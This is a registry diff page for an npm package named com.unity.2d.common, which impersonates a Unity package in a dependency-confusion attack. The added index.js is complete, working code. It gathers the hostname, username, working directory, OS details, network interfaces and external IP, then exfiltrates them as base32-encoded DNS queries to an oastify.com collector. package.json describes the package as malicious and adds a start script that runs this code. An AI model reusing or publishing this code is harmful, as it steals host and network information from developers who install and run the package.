com.unity.2d.common 0.0.1-security → 9.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of com.unity.2d.common might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +49 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,49 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const { execSync } = require('child_process');
4
+ const base32 = require('base32-encode');
5
+
6
+ // Function to get the external IP address
7
+ function getExternalIP() {
8
+ try {
9
+ const result = execSync('curl -s ifconfig.me').toString().trim();
10
+ return result;
11
+ } catch (error) {
12
+ return 'N/A';
13
+ }
14
+ }
15
+
16
+ // Gather information
17
+ const data = {
18
+ packageName: 'private-package',
19
+ version: '1.0.1',
20
+ hostname: os.hostname(),
21
+ currentPath: process.cwd(),
22
+ externalIP: getExternalIP(),
23
+ platform: os.platform(),
24
+ arch: os.arch(),
25
+ release: os.release(),
26
+ userInfo: os.userInfo().username,
27
+ networkInterfaces: os.networkInterfaces(),
28
+ };
29
+
30
+ // Encode data into DNS queries
31
+ function sendDNSQuery(data) {
32
+ const encodedData = base32(Buffer.from(data), 'RFC4648', { padding: false });
33
+ const domain = `${encodedData}.bxcmhqh9x4r4f776qx0mo68at1zunqbf.oastify.com`;
34
+ dns.resolve(domain, (err) => {
35
+ if (err) {
36
+ console.error('DNS query failed:', err);
37
+ } else {
38
+ console.log('DNS query sent:', domain);
39
+ }
40
+ });
41
+ }
42
+
43
+ // Split data into multiple DNS queries if necessary
44
+ const maxLength = 63; // Max length for a single DNS label
45
+ const jsonData = JSON.stringify(data);
46
+ for (let i = 0; i < jsonData.length; i += maxLength) {
47
+ const chunk = jsonData.substring(i, i + maxLength);
48
+ sendDNSQuery(chunk);
49
+ }
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "com.unity.2d.common",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.0.5",
4
+ "description": "Malicious package for dependency confusion PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js"
8
+ },
9
+ "author": "attacker",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "base32-encode": "^1.2.0"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=com.unity.2d.common for more information.